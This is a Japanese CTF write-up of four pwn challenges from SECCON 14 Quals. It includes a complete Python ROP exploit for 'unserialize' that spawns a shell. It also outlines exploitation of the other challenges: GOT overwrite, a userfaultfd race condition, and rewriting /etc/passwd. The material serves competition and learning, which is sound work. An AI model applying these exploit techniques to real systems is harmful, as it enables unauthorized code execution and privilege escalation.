SECCON14 Quals Writeup
SECCON14 QualsにKUDoSで出場
全体32位、国内5位でした。
自分はpwn4問を解いたのでそのwriteupを載せます。
pwn
unserialize
alloca()でstackを拡張する際にはstrtoulの第3引数に0を使用しているが、
ループの処理で使用するszはstrtoulの第3引数に10を使用している。
1 | tmpbuf = (char*)alloca(strtoul(szbuf, NULL, 0)); |
そのため szbuf = "0177"のような入力を与えると
1回目のstrtoulは8進数と解釈して127になるが、2回目のstrtoulは177として扱うので
ループでstack overflowが起きる。
tmpbufがoverflowした先にはmemcpyのコピー先のバッファのポインタが格納されており、
以下の場合だと下位1byteを0x10にするとstack canaryを壊さずにreturn addressを書き換えることができる。
1 | 0x7fffffffdc40: 0x6161616161616161 0x6161616161616161 |
リモートの環境でスタックアドレスはもちろんランダムなので、1/16の確率でropを行うことができる。
- solver
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47#!/usr/bin/python3
from ptrlib import *
import sys
FILE_NAME = "./chall"
"""
HOST = "unserialize.seccon.games"
PORT = 5000
"""
HOST = "localhost"
PORT = 7777
#"""
if len(sys.argv) > 1 and sys.argv[1] == 'r':
sock = Socket(HOST, PORT)
else:
sock = Process(FILE_NAME)
sock.debug = True
elf = ELF(FILE_NAME)
off_rdi_rbp_ret = next(elf.gadget("pop rdi; pop rbp; ret;"))
off_rsi_ret = next(elf.gadget("pop rsi; ret;"))
off_syscall_ret = next(elf.gadget("syscall; ret;"))
off_rax_ret = next(elf.gadget("pop rax; ret;"))
def exploit():
l = 0x70
rop = b''
rop += b'/bin/sh\x00'
rop += p64(off_rsi_ret)
rop += p64(0)
rop += p64(off_rax_ret)
rop += p64(0x3b)
rop += p64(off_syscall_ret)
payload = b''
payload += rop
payload += b'a'*(l-len(payload))
payload += b'\x10'
s = "0"+str(l+1)
s += ":"
s += payload.hex()
sock.send(s)
sock.interactive()
if __name__ == "__main__":
exploit()
Gachiarray
色々実験している中でarray_initでcapacity=0x80000001, size=1とかを渡した際、
本来はmallocが失敗するのでソースコード上はg_array.sizeもg_array.capacityも0に設定されるはずであるが、
g_array.capacityに0x800000001が設定されていることに気づく。(コンパイルのバグらしいが、コンテスト中はよくわからないまま進めた)
1 | g_array.data = (int*)malloc(pkt->capacity * sizeof(int)); |
この状況が作れるとg_array.data = 0やg_arrayのsizeやcapacityはuint32_tになっていることを利用して、
capacity以下のアドレス空間でAAR/AAWができる。
あとはGOT overwriteをしてshellを起動する。
1 | #!/usr/bin/python3 |
結構早い段階で気づけてラッキー
CursedST
データが空の時にpopを行うと未定義動作になることを利用してexploitを頑張って組む。
例えば S.push(1)を一回実行した時はSのメモリレイアウトは下記のような状態になる。
1 | gef> x/10gx 0x405320 |
この状態でS.pop()を2回実行すると S+48からの領域が壊れていそうである。
1 | 0x405320 <S>: 0x000000001d3992b0 0x0000000000000008 |
この状態でS.push(2)をすると以下の箇所でクラッシュする。
1 | $rax : 0x0000000000000002 |
AIくんの力も借りつつこの挙動を調査したところ、
0x1d3992b0からの領域はstackのデータを格納するchunkの配列になっており、
例えば0x1d3992c8に格納されている0x1d399300から0x200バイトの領域をpushで埋め尽くすと、
新たな領域を確保しそのアドレスを0x1d3992d0に格納するような挙動をする。
popでデータを消費するとその逆が起こるが、データが空の時にpopをすると
0x1d3992c0に格納されている0x0を次に参照するstackのデータのポインタとして処理するため
S+48空の構造体が壊れてしまうといった具合である。
そのためあらかじめ0x1d3992c0の部分にデータ領域として使用させたい値を用意できていると嬉しい。
今回はそれが可能であり、具体的にはnameに長大な文字列を入力しfreed chunkを用意しておくと、
heap上に残ったゴミをアドレスとして使用させることができるので実質的なAAR/AAWが可能になる。
あとはnameのアドレスも書き換えつつGOT overwriteでmain関数のnameを出力する直前に飛んでアドレスリーク、
からの再度GOT overwriteしてsystem(“/bin/sh”)の実行
1 | #!/usr/bin/python3 |
tinyfs
800行近いソースだったのでLLMくんに脆弱性見つけてと投げたところ、
ファイルへの書き込みを行う際のcopy_from_userを排他制御していないためraceが起こることを指摘してくれた。
1 | len = min_t(size_t, len, TINY_FS_BLOCKSIZE - *ppos); |
改めてソースを見直すも、正しいことを言ってそうなのでuserfalutfdを利用したraceを行い、
最終的にはpage jackで/etc/passwdを書き換える。
1 |
|
感想
今年で3回目のfinal出場になりそうでなにより
To運営の方々
毎年楽しいコンテストありがとうございます!